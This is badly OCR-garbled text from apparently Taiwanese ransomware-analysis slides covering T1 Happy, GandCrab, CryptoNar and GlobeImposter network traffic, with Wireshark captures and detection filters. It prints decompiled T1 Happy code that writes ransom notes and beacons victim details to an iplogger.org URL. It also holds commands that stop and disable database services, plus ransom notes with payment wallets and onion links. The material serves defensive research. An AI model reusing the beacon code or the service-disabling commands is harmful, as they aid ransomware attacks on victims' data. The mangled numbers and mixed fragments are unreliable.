messages and poor routine themselves. encrypting result.
security protection.

ZEER! https://www.enigmasoftware.com/tLhappyransomware-removal/, 2019




Patricia code of T1 Happy

System.lO.File.WriteAllText(Interaction.Environ("userprofile”) & "\Desktop\HIT BY RANSOMWARE.txt", T1.My.Resources.Resources.HIT_BY_RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("userprofile"), T1.My.Resources.Resources.HIT_BY_ RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("appdata”), T1.My.Resources.Resources.HIT_BY RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("programdata”), T1.My.Resources.Resources.HIT_BY_RANSOMWARE)
Dim webclientl As System.Net.WebClient = New System.Net.WebClient()
Try
webclientl.Headers
"User-Agent"
New String(9) {}
New String(9) {}(0) = "Name="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; OS="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName(4) = "; RAM="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject. Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject. Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject. Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
webclientl.DownloadData("https://iplogger.org/21zut")

Finally
If (webclientl Is Not Nothing) Then
webclientl.Dispose()
End If
End Try
System.Threading.Thread.Sleep(15000)
ProjectData.EndApp()
End Sub
Private Sub Regs()
New Process()
New Proce<s<() Startlnfo FileNName = "wmic exe"



SMTP and HTTPS of T1 Behavior

(] &pply = display filter -+ <Ctl-/

~ | Expression-s 4 3MI

Ma.

L

Tiime
87 2819-11-11
88 2819-11-11

9@ 2819-11-11

892 2819-11-11
893 2819-11-11
84 2819-11-11
895 2819-11-11
96 2819-11-11
897 2819-11-11
898 2819-11-11
99 2819-11-11
lee 2819-11-11
181 2819-11-11
182 2819-11-11
183 2819-11-11
lg4 2819-11-11
185 2819-11-11
186 2819-11-11
187 2819-11-11
l@8 2819-11-11
189 2819-11-11
11@ 2819-11-11
111 2819-11-11

16
16

16

16
16
16
16
16
16
16
16
16
16
16
16
16
16
16
16
16
16
16
16

:48:
:48:

:48:

(48
148
148
148
148
148
(48
148
(48
148
(48
148
:48:
148
(48
148
(48
148
(48
148

11.
11.

11.

11.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.

328849
517237

718281

889656
865789
865798
865994
867895
869815
869532
325263
325352
325539
588855
636869
789461
894933
895849
895879
895169
895178
895183
985931

o
192.1638.2808.42
1.1.1.1
192.163.2608.13

192.168.288.42

Asustek(C 38:c7:
Asustek(C 38:c7:
Asustek(C 5d:41:
Asustek(C 38:c7:

212,
192,
212,
212,
192,
212,
192,
1592,
212,
212,
192,
212,
212,
192,
192,

227.
168.
227.
227.
168.
227.
168.
168.
227.
227.
168.
227.
227.
168.
168.

17.168
288.42
17.168
17.168
288.42
17.168
288.42
288.13
17.168
17.168
288.42
17.168
17.168
288.42
288.42

22
22
ad
77

Diestination
1.1.1.1
192.168.260.42

239,255, 255,258

212.227.17.168
Broadcast

Broadcast

Broadcast

Broadcast

192.168.2088.42
212.227.17.168
192.168.2088.42
192.168.2068.42
212.227.17.168
192.168.2068.42
212.227.17.168
239.255.
192.1648.
192.168.
212.227.
192.168.
192.1648.
212.227.
212.227.

288.42
288.42
17.168
288.42
288.42
17.168
17.168

lI\_I\

255,258

©

Protocal
DNS
DNS

S55DP

TCP

ARP

ARP

ARP

ARP
SMTP
SMTP
TCP
SMTP
SMTP
SMTP
TLSv1.2
S55DP
TLSv1.2
TCP
TCP
TLSv1.2
TLSv1.2
TCP
TLSv1.2

Length

Info
72 Standard query 8xb554 A mail.gmx.net
184 Standard query response Bxb554 A mail.gmx.net A 212.227.17.168 |

216 M-SEARCH * HTTP/1.1

54 49452 -+ 587 [ACK] Seg=1
6@ Who has 192.168.288.51?
68 Who has 192.168.288.52?
6@ Who has 192.168.200.53? Tell 192.168.2808.51
68 Who has 192.168.2808.53? Tell 192.168.2808.52

186 S: 220 gmx.com (mrgmx1@5) Nemesis ESMTP Service ready
71 C: EHLO E12-281987
68 587 -+ 49452 [ACK] Seq=53 Ack=18 Win=29312 Len=8

169 S: 250-gmx.com Hello E12-281987 [211.21.156.86] | 258-8BITMIME
B4 C: STARTTLS
62 5: 228 0K

222 Client Hello

216 M-SEARCH * HTTP/1.1

1586 Server Hello

15686 587 - 49452 [ACK] Seq=1628 Ack=196 Win=38336 Len=1452 [TCP segme
54 49452 -+ 587 [ACK] Seq=196 Ack=3088 Win=066568 Len=0

15686 Certificate [TCP segment of a reassembled PDU]

278 Server Key Exchange, Server Hello Done
54 49452 -+ 587 [ACK] Seq=196 Ack=4748 Win=66568 Len=0

236 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Me:

Ack=1 Win=66560 Len=0
Tell 192.168.200.53
Tell 192.168.200.53

©

=



@, BUY GANDCRAB DECRYPTOR | @ SUPPORT SERVICE 247

© What do your need?
You need GandCrab Decryptor
This software will decrypt all your encrypted files and will delete GandCrab from your PC

For purchase you need crypto-currency = DASH (1 DASH = 765.016 $)
How to buy this currency you can read it here

© How much money your need to pay? Below we are specified amount and our wallet for payment

Price-
1.5 DASH (1200 USD)

-DASH address for payment-
XeCueUcBQ2venzAjvtXwgVM6vEouZGq97N

Dash
cryptocurrency

To asks payment

from a new path. 02 02 49 03

YS HOURS MINUTES SECONDS

-To make a payment, you have this time-

-After this time the amount will double and will be-

3 DASH (2400 USD)
Raas

It provides a road for
criminal called
‘Ransomware as a Service’
to grasp a lot fees from
victims.

% WA
4 2N
We are sorry, but your files have been encrypted! \

Don't worry, we can help you to return all of your files!

Files decryptor's pricelis

If paymentisn't made until the cost of decrypting files will be doubled

Your documents, photos, databases a

WARNING! Any attempts to restore your files with tt

Within 5 days you can purchase this product at a special price: BTC 0.300 (~ $2433)

After 5 days the price of this product will increase up to: BTC 0.600 (~ $4866)

s 04 . 23:59:46

N\ e il

Distribute Ransomware
Malicious email, exploit kits (EK), SMB connection

Particular Behavior

® |t takes a count down clock to push victims to pay ransom fees.

® In the forum message, the GandCrab authors bragged about the
ransomware having earned over $2 billion in ransom payments, with
the operators making roughly $2.5 million per week and $150 million
per year.

andCrab

2017FRRTERN "BEENEBHR ) KBSFREAYPR - HREHEBRN
2019F EMILMEBHRIEINRE " R, (AREBEECAORERE)LA
MAMBEMERENERER - ARELEFNRSHMEBERRERS - Major Victims

American, Canada, and European countries

® |t searchs the xxxx-DECRYPT.HTML' in the directory of victim’s disk.



---= GANDCRAB V2.0 =---
Attention!
All your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB

The server with your key is in a closed network TOR. You can get there by the following ways:
1. Download Tor browser - https://www.torproject.org/

2. Install Tor browser

3. Open Tor Browser

4. Open link in tor browser: http://gdcbmuveqjsli57x.onion/[redacted]

5. Follow the instructions on this page

1. https://gdcbmuveq;jsli57x.hiddenservice.net/[redacted]
2. https://gdcbmuveq;jsli57x.onion.guide/[redacted]

3. https://gdcbmuveq;jsli57x.onion.rip/[redacted]

4. https://gdcbmuveqjsli57x.onion.plus/[redacted]

5. https://gdcbmuveqjsli57x.onion.to/[redacted]

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.
The alternative way to contact us is to use Tox messanger. Read how to:
1. Visit https://tox.chat/download.html

" aTOX on volirr PC

+BHFF R T2 ( doc macro)

«mEXE T B (Rig EK, GrandSoft EK, Magnitude EK, Fallout EK)

*SMB connect to LAN to encrypt
*HTTP, HTTPS, SMTP

*TOR Al Z 2| i 4

*RC4, RSA
*DASH payment, TOX Chat

& : https://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/

The only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.

If Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:

o- (¢

Payment Page +

gdcbmuveqjsliSTx.onion

We are sorry, but your files have been encrypted!

Don't worry, you can return all your files! We can help you!

Files decryptor price is

If payment is not made after the cost of decrypting files will be doubled

Time left to double price:

01 days 16h:07m:45s

What happened?

Your computer have been infected with GandCrab
Ransomware. Your files have been encrypted and you can't ™ DASH
decrypt it yourself.

In the network, you can find de Paymgstamount

ors and third-party
software, but it will not help you and can make your files

undecryptable.

What can I do to get back my files?

You should buy GandCrab Decryptor. This software will
decrypt all your encrypted files and remove GandCrab

Z : https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/
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[ | &pply & display filter == «Ctel-i

=) | '] Expression=-+

Mo.

236
237
228
238
248
241
242
243

Time

2819-18-25
2819-18-25
2819-18-25
2819-18-25
2819-18-25
2819-18-25
2819-18-25
2819-18-25

244 7819-18-25

245
246
247
248
2449
258
251
252
253

2819-18-25
2819-18-25
2819-18-25
2019-18-25
2819-18-25
2019-18-25
2819-18-25
2019-18-25
2819-18-25

254 2819-18-25

255
256
257
258
259
268

2019-18-25
2019-18-25
2019-18-25
2019-18-25
2019-18-25
2019-18-25

18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:

59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:
59:

55,
55.
55,
55.
55,
55.
55,
55.
55,
55.
55,
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.

369355
369529
369752
378742
373275
373388
373655
373737
373874
373957
375537
375726
375833
375925
376834
376127
376198
376289
380862
388293
386527
386623
393487
383557
487923

Source
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
le8.
168.
le8.
168.
le8.
168.
le8.
168.
le8.
168.
le8.
168.
le8.

288,
288,
288,
288,
288,
288,
288,
288,
288,
288,
288,
288,
208.
288,
208.
288,
208.
288,
208.
288,
208.
288,
208.
288,
208.

25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25

Destination

192,
1592,
192,
1592,
192,
1592,
192,
1592,
192,
1592,
192,
1582,
192.
1582,
192.
1582,
192.
1582,
192.
1582,
192.
1582,
192.
1582,
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.

288,
288.
288,
288.
288,
288.
288,
288.
288,
288.
288,
288.
208.
288.
208.
288.
208.
288.
208.
288.
208.
288.
208.
288.
208.

162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162

Protocol
SMEB
SMB
SMEB
SMB
SMEB
SMB
SMEB
SMB
SMEB
SMB
SMEB
SMB
SMB
SMB
DCERPC
SMB
SMB
DCERPC
SRVSVC
SRVSVC
SMB
SMB
SMB
SMB
SMB

Length

Info
162 Session
299 Session
514 Session
175 Session
132 Tree
114 Tree
168 Tree

93 Tree
168 Tree

93 Tree

Setup AndX Request, NTLMSS5P NEGOTIATE
Setup AndX Response, NTLMS5P CHALLENGE, Error: S5TATUS
Setup AndX Request, NTLMSS5P AUTH, User: (C5-2819@7%Admi

Setup AndX Response

Connect AndX Request, Path: \\HTTP\IPC%
Connect AndX Response
Connect AndX Request, Path: “M\HTTP\PV5I]S5-DECRYPT.HTML
Connect AndX Response, Error: 5TATUS BAD NETWORK NAME
Connect AndX Request, Path: “M\HTTP\PV5I]S5-DECRYPT.HTML
Connect AndX Response, Error: 5TATUS BAD NETWORK NAME

158 NT Create AndX Request, FID: 8x4888, Path: \srwswvc
193 NT Create AndX Response, FID: @x4808
138 Trans2 Request, QUERY FILE INFO, FID: Bx4880, Query File S5tand
142 Trans2 Response, FID: @xd888, QUERY FILE TNFO
238 Bind: call id: 2, Fragment: Single, 2 context items: SRVSVC V3

185 Write AndX Response, FID: @x4888, 116 bytes

117 Read AndX Request, FID: @x4880, 1824 bytes at offset @
218 Bind ack: call id: 2, Fragment: Single, max_xmit: 4288 max_rec
226 NetShareEnumfll request
498 NetShareEnumbll response
99 Close Request, FID: @x4000
93 Close Response, FID: 8x4880

138 Tree Connect AndX Reguest, Path: “\HTTPY?2?

128 Tree Connect AndX Response

182 NT Create AndX Request, Path: “PV5JIS5-DECRYPT.html



The Evolution of CryptNar Ransomware

N RESHE
2% 2 @uE
.\ | | |
l n -" A
CyberLink Cyber‘Link VideoMate CryptoNar
Ransomware
Major Victims
2016~2019
Network Traffic Top 3 Countries Infected:
United Kingdom, Italy,
2019~ Bangladesh.
Particular Behavior This ransomware will connect to a
SMTP Server and another HTTPS
Challenge the victims Server both.

Distribute Ransomware It leaves its source code
on the victim's computer,

Email challenging the victim to
By phishing email messages reverse the encryption
with a fake pdf file. routine themselves.

ZEER! https://www.enigmasoftware.com/tLhappyransomware-removal/, 2019




CryptoNar 55k SMTPAR 15
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[ ] &pply & display filter +=+ <Ctrl-f

[0 = | Expression---

Mo.

Time

bb 2019-18-24 20:84:35.603692
67 2019-18-24 28:84:36.482538
b8 2019-18-24 20:84:37.249897
69 2019-18-24 28:84:37.258436
70 2019-18-24 20:84:37.250458
71 2819-18-24 28:84:37.258282

74 2819-18-24
75 2819-18-24
76 2819-18-24
77 2819-18-24
78 2819-18-24
79 2819-18-24
88 2819-18-24
81 2819-18-24
82 2819-18-24
83 2819-18-24
84 2819-18-24
85 2819-18-24
86 2019-18-24
87 2819-18-24
88 2819-18-24
89 2819-18-24
98 2819-18-24

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

ERERREREREREREERERE

:37.
:37.
:37.
:38.
:38.
:38.
:38.
:38.
:38.
138
:38
:38.
:38.
:38.
:38.
:38.
:38.

559363
343183
848774
129582
1384432
138542
138571
1386538
138746

4132329
.A28564

683796
635126
783151
783278
783299
783378

Sonree

fe88: :edad:Sbbd: 7F81:2cc3
Asustek(C 5d:41:8d
AsustekC 5d:41:92
LannerEl B5:ab:62

192.168.268.13
1.1.1.1

192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
31.186.243.164
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13

fedd: edad:5bbd:7181:2cc3
felB: :ec82:cO76:cf7:c683

31.186.243.164
31.186.243.164
192.168.2808.13
31.186.243.164

Diestination
82::c
Broadcast
Broadcast

Protocol
55DP
ARP
ARP

Asustek(C 5d:41:92 ARP

1.1.1.1
192.168.288.13

31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
192.168.266.13
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
f82::c
ffB2::1:2
192.168.288.13
192.168.266.13
31.186.243.164
192.168.266.13

IA_I\

©

DNS
DNS

TCP
SMTP
SMTP
TCP
SMTP
SMTP
TCP
SMTP
SMTP
SMTP
TLSv1
55D
DHCPvE
TLSv1
TCP
TCP
TLSv1

Length  Info

288 M-SEARCH * HTTP/1.1

68 Who has 192.168.2008.53? Tell 192.168.2008.51

A2 Who has 192.168.288.2542 Tell 192.168.288.13

6B 192.168.200.254 is at ©0:909:0b:85:ab:62

72 S5tandard query Bxd72b A smtp.zoho.eu

88 Standard query response Bxd72b A smip.zoho.eu A 31.186.

54 49383 - 587 [ACK] Seq=1 Ack=1 Win=66568 Len=0
126 S5: 220 mx.zohomail.com SMTP Server ready October 24, 26
71 C: EHLO C3-2819888
60 587 - 49383 [ACK] Seq=73 Ack=18 Win=29312 Len=@
124 5: 258-mx.zohomail.com Hello (C3-2819688 (192.168.136.2
68 5: 258-STARTTLS
54 49383 - 587 [ACK] Seq=18 Ack=157 Win=66568 Len=8
73 5: 258 SIZE 53477376
64 C: STARTTLS
79 5: 228 Ready to start TLS.
174 Client Hello
288 M-SEARCH * HTTP/1.1
156 Solicit XID: Bxcl3c38 CID: 8e01eeel241683F420cF3Be9F0dc
1454 Serwver Hello
1454 587 = 49383 [ACK] Seq=1681 Ack=148 Win=29312 Len=1480 |
54 49383 - 587 [ACK] Seq=148 Ack=3001 Win=66560 Len=0
439 Certificate, Server Key Exchange, Serwver Hello Done

©

=



The Evolution of Globelmposter Ransomware
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My Host Name {{ID}} % s %S %S Requirements
Kz)1lekM?0=])@QFKNY/:UKAGp+m.tjoO ,Fe] N L?L? ,Fe]
,Fe] > " 1R ,Fe] ?

U @7 X A

? "% 1/ RSDS]E?RIFEB??Rs? E:\code\src\!TrollWordPKCS21\Release
\Requirements.pdb ? ? ? GCTL +? .text$mn X .idata$s X

. QQC'Fg ‘ .CRT$XCA .CRT$XCAA ? .CRT$XCZ ? .CRT$XIA ?
.CRT$XIAA ? .CRT$XIAC ? .CRT$XIC ? .CRT$XIZ ? .CRT$XPA
| .CRT$XPX ? .CRT$XPXA ? .CRT$XPZ ? .CRT$XTA ? .CRT$XTZ ??
.rdata @? .rdata$sxdata L? ? .rdata$zzzdbg @? .Ptc$IAA D? .rtc$1zz H?
.rtc$TAA L? .rtc$TZZ P? ? .xdata%$x #2 P .idata$%$2 ,? .idata$3 @? x
.idata%$4 8 .idata%$e ? X .data x? .bss ? .rsrc$el ? .rsrc$e2

. #EApollon86572 3T « & T ITrollWordPKC 218015 74 BA s H % -
« Apollon865f12 TR Z A " Requirements.exe 4
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sc stop MongoDB
sc config MongoDB start=disabled
sc stop SQLWriter
sc config SQLWriter start=disabled
sc stop MSSQLServerOLAPService
sc config MSSQLServerOLAPService start=disabled
sc stop MSSQLSERVER
sc config MSSQLSERVER start=disabled
sc stop MSSQL$SQLEXPRESS
sc config MSSQL$SQLEXPRESS start=disabled
sc stop ReportServer
sc config ReportServer start=disabled
sc stop OracleServiceORCL
~_ sc config OracleServiceORCL start=disabled
~ sc stop OracleDBConsoleorcl
~ sc config OracleDBConsoleorcl start=disabled
’ - sc stop OracleMTSRecoveryService <
sc config OracleMTSRecoveryService start=disabled
sc stop OracleVssWriterORCL
sc config OracleVssWriterORCL start=disabled

sc stop MySQL
sc config MySQL start=disabled

EApollon8651E T F - FEWEE R ESMongoDB, MS-SQL, Oracle DB, MySQL
U LEREFERERERBZL - DB File##FREEE (Unlocked) 7 BEXTE K EHE R ETINE)

| N

1«@ 7




Admin

019-0831-Compare-MetTraffic-Data.pcap.Apollon865 2019/9/17 T 0545 APOLLOMBSGS § 2,643 KB
019-0831-Compare-MetTraffic-Data txt Apollon865 2019/9/17 T 05:46 APOLLOMBES 2 3 KB

g . . 201%-Mormal-Browser-Close-1.pcap.Apollon863 2019/9/17 T 05:46 APCLLOMSE 40,618 KE
 Google = AAAA peap.Apollon865 2019/9/17 T4 05:46 APOLLONSE 739 KB

ChromeIn.. arp-poisoning pcap Apallon865 2019/9/17 T4 05:46 APCLLOT 2 KB
B-2019-0111a.pcap.Apollon865 2019/9/17 T 05:46 APOLLOMEBGS 03 KB

ﬁ . S B-2019-0111-Shade-Ransomware-infection-E.pcap.Apollon885 2019/9/17 T 5 05:46 APOLLOMEE 5478 KB
LoadOrdl.. B-2019-0512-Malware-Web-Download-1.pcap Apollong65 2019/9/17 F< 05:48 APOLLONS6 8,442 KE
BBEB.pcap.ApollonB6s 2019/9/17 T5 0546 APCLLOT B

C-2018-03-22-fake-chrome-update pcap.ApallonB65 2019/9/17 T5 05:46 APOLLOI 434 KB

CamStudio_Setup_2-7_r316.exe ApollonB63 2019/9/17 T 04:36 APOLLOMNSE 72 KB

CCCC.peap.ApollonB86s 2019/9/17 T5 0546 APCOLLOMEE 4,156 KB

DDDD . pcap.ApollonB65 2019/9/17 T 05:46 APOLLOMEE 2 KE

DMS_Full_Test_Data.pcap.Apollon863 2019/9/17 T 05:46 APCILLOMSE 2 KE

procexpn- DNS-Spocfing-1.peap.Apollondss 2019/9/17 T4 05:46 APOLLONSE :
DMS-Spoofing-3.peap.Apollon865 2019/9/17 T 05:46 APOLLOMEE B

DMS-Test-1.acp.ApollonB863 2019/9/17 T 05:46 APCILLOMNBAS 289 KE

. Procmen.l... EEEE.pcap.ApollonB65 2019/9/17 T 05:46 APOLLOMNEES 204 KE
HSBC_DMS Acp Apollon865 2019/9/17 T 05:48 APOLLOMEE 2 KE

ids. tut 2019/9/6 £ 08:19 M 3,602 KB

ieshark.. Tepviewdin_ IPvi-ldle-Activity.acp.Apollon865 2019/9/17 T 05:46 APOLLOMEES # 212 KE
IPvE-Ping-Hinet-Google.acp. Apollon863 2019/9/17 T 054 APCILLOMEES B

SDVsion  wiechink. EApollon86512 T - WIMEBFHNWERIEZE - RNINEE - EFEEHASApollon8es




Send 1 crypted test image or text file or document to Sin Eater. 666(@aol.com

RFE—T BRI S (B ReEE S ) 3 #PFE SinEater 666@aol.com

In the letter include your personal ID (look at the beginning of this document). Send me this ID i your first
email to me.

We will give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files.
After we send you mstruction how to pay for decrypt tool and after payment you will recetve a decrypt tool
and mstructions how to use it We can decrypt few files in quality the evidence that we have the decoder.

AN EFEERSTETT AD (&GS #ERYD ) -
FANWT = BRI ST HAD R S BRSO RY AR

EApollon865i2 T, - EEEEEL WINZE2E | B2 |ID % Sin_Eater.666@aol.com 1558
(IS BHRATORBAEHN - BT AR R)

rH



O

[ilﬂppl}radispla}rfﬂter - <Ctrl- x} =0 ~| Expression-
Time Somrce Destination Protocaol Length  Info
833 2019-089-17 17:88:11.502362 192.168.200.57 192.168.200.255 NENS 92 Name query NB HTTP<2@:
834 2919-089-17 17:88:11.502424 192.168.200.162 192.168.200.57 NENS 184 Name query response NB 192.168.2008.162

837 2019-69-
838 2019-09-
839 2019-69-
840 2019-69-
841 2019-@9-
842 2019-69-
843 2019-69-
844 2019-09-
845 2019-@9-
846 2019-69-
847 2019-69-
848 2019-@9-
849 2019-69-
850 2019-69-
851 2019-@9-
852 2019-69-

17
17
17
17
17
17
17
17
17
17
17
17
17
17
17
17

17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:

B8
08:
08
88:
08:
08
88:
08:
08
88
88
08:
88
B8
08:
08

11.503454
11.503555
11.503624
11.503828
11.504162
11.504328
11.504519
11.504954
11.505250
11.505333
11.505509
11.505742
11.507581
11.507699
11.507973
11.508867

/\\\

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

192.
N o T O A

7ﬁ-EApoIIonSGSﬁ‘%‘CEP - FETRBISMBAE S 1

SR B A (IPC$) I H#1T

168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162

/— \E%

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57
168.200.162
168.200.57

s
l|\‘3

NESS
NB5S
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
LANMAN
LANMAN
SMB
SMB
SMB
SMB

. EHETTNBNSEERE -
INRIE AL F

126 Session request, to HTTP<28> from TEST:
60 Positive session response

213 Negotiate Protocol
143 Negotiate Protocol

162 Session
299 Session
246 Session
175 Session

Setup AndX
Setup AndX
Setup AndX
Setup AndX

Request
Response
Request, NTLMSSP NEt(——
Response, NTLMSSP_Ci
Request, NTLMSSP AU
Response

132 Tree Connect AndX Request, Path: \\HTTL—

114 Tree Connect AndX Response

183 NetServerEnum2 Request, Workstation, S—=
149 NetServerEnum2 Response

162 Session
299 Session
518 Session
175 Session

Setup AndX
Setup AndX
Setup AndX
Setup AndX

Request, NTLMSSP NEC—
Response, NTLMSSP Cl——
Request, NTLMSSP AU——
Response —

EEEEEMIPAINLER o
;kB n¥L°



\Slo

i | fop port=445

Sorce

i :Sheffdc9: cBlc

::61de:cHBB:309a: c8%e 74 49528 - 445 [ACK] Seq=1 Ack=1 Win=66848 Len=0

fedB: :ff:5blf:fdc9:cBlc fefl::61lde:cbBB:38%9a:c89%e SMB 233 Negotiate Protocol Request

fedB::61de:cHBB:30%:c89% fe8B::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response

fedB: :ff:5blf:fdc9:cBlc fefl::61de:cbBB:389a:c8%  SMB2 182 Negotiate Protocol Request

fedB::61de:cHBB:30%:c89% fe8B::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response

fedB: :ff:5blf:fdc9:cBlc fefl::61de:cbBB:389a:c8%  SMB2 248 Session Setup Request, NTLMSSP NEGOTIATE

fedB::61de:cHBB:30%:c89% fe8B::ff:5bBf:fdc9:cBlc SMB2 287 Session Setup Response, Error: STATUS MORE PROCESSING REQUIRED, NTLMSSP CHALLENGE
fedB: :ff:5blf:fdc9:cBlc fefl::61de:cbBB:389a:c8%  SMB2 599 Session Setup Request, NTLMSSP _AUTH, User: TEST281986%Administrator

::61de:cHBB:309a: c89e prff5bBf:fdc9:cBlc 151 Session Setup Response, Error: STATUS ACCOUNT RESTRICTION
Diff:5bBf:fdc9: cBlc ::61lde: cHB8:309a: c8%e 74 49528 -+ 445 [RST, ACK] 5eq=959 Ack=639 Win=08 Len=0

i :Sheffdc9: cBlc

::84cb:ddc:T2e3:6542 74 49521 - 445 [ACK] Seg=1 Ack=1 Win=66048 Len=08

fedB: :ff:5blf:fdc9:cBlc fefl::84cb:ddc:f2e3:6542 SMB 233 Negotiate Protocol Request
fe8B::84cb:ddc:f2e3:6542  fe8B::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response
fedB: :ff:5blf:fdc9:cBlc fefl::84cb:ddc:f2e3:6542 SMB2 182 Negotiate Protocol Request
- feB0::84cb:ddc:f2e3:6542  feB@::ff:5b@f:fdc9:cllc SMB2 248 Negotiate Protocol Response
- fedB: :ff:5blf:fdc9:cBlc fefl::84cb:ddc:f2e3:6542 SMB2 248 Session Setup Request, NTLMSSP NEGOTIATE
fe8B::84cb:ddc:f2e3:6542  fe8B::ff:5bBf:fdc9:cBlc SMB2 369 Session Setup Response, Error: STATUS MORE PROCESSING REQUIRED, NTLMSSP CHALLENGE
fedB: :ff:5blf:fdc9:cBlc fefl::84cb:ddc:f2e3:6542 SMB2 679 Session Setup Request, NTLMSSP _AUTH, User: TEST281986%Administrator

::84cb:ddc:f2e3:6542 prff5bBf:fdc9:cBlc 151 Session Setup Response, Error: STATUS ACCOUNT RESTRICTION
Diff:5bBf:fdc9: cBlc ::84chb:ddc:f2e3:6542 74 49521 -+ 445 [RST, ACK] 5Seq=1839 Ack=721 Win=0 Len=0

%

EApollon86512 =\ - FHIARISMBAIES T4 © #EATIPVERYAT S 75 5 1R 2 I E& (Administrator) °

__ o i



E o AT Bl B ?

MESHREWE - SE2EHERIERIER - BERENER I
FZ MG - 522 http://lwww.nspa-cert.org and https://www.nspa-cert-tw.org/




HEHE

AT
N
Ay
" [l

A R IR

SMB traffic for NAS or File Sharing 11

AR LIRS RREEIRR - A8 - HMTFERE
O RESIEEEE - W HE—D SR B IR A8 S @S

g -

— — — HTTP or HTTPS (TLS) [2115]

EEHIRWHTTPHTTPSE1TA - B1E2BDNS &8
Downloader Bill{T4 - MEBEFEEISEMREENIPAL
3t -

DNS Query of Special Domain 3[4
MBS RO SEBEEREL - LER TR aRER -
] ] [ ] S EEREIAB (F - BHERHRDNSBIL I BIP I
SHBIETTS -
TCP Fail Connection or TOR
<> ()3 X 4% Downloader TAEBEMERFAKCACEH - BRE
=LA DAY - TN EEETCPEREK B -

[1] Morato, D., Berrueta, E., Magafia, E. and Izal, M., Ransomware early detection by the analysis of file sharing traffic, Journal of Network and Computer Applications, 124, pp:14-32, 2018.

[2] Routa Moussaileb, Nora Cuppens, Jean-Louis Lanet, Héléne Le Bouder. Ransomware Network Traffic Analysis for Pre-Encryption Alert. FPS 2019 : 12th International Sy osium on Foundations & Rractice of Security, Nov 2019,
Toulouse, France. ffhal-02313656f

VI.”/AKbanov, V.G. Va K and M.D. Logothetis, "Ransomware aetectio C gation u g Software-aerined networking: € case of WannaCry ', Computers & edtrical Engineeri d, vol. 76, pp.\411-121, June 2019.
[4] K. Cabaj, W. Mazurczyk, Usmg Software-Defined Networking for Ransomware Mitigation: the Case of CryptoWall, IEEE Network, November/December 2016, DOI: 10.1109/MNET.2016 1600110
[5] K. Cabaj, M. Gregorczyk, and W. Mazurczyk. Software-defined networking-based crypto ransomware detection using HTTP traffic characteristics. arXiv preprint arXiv:1611.08294, 2016.



g

Wireshark
BATRIBIE
Display
Filter

TOR
tcp.port in {9001..9999}

DNS Only

dns or udp.port==53
HTTP and DNS
dns or http or https

SMB or RDP

smb or rdp

ERaRiEINE 4

>~ I

Network Symptoms #8 #AE AR & it

ERE AR e L EBINWireshark) EiZE &
FINEEHBIRR

TOR 7B 3% #84% TOR #4314

SEBEZRAAEAPHERIMUHARE - EHEBLRERERE - ENERER
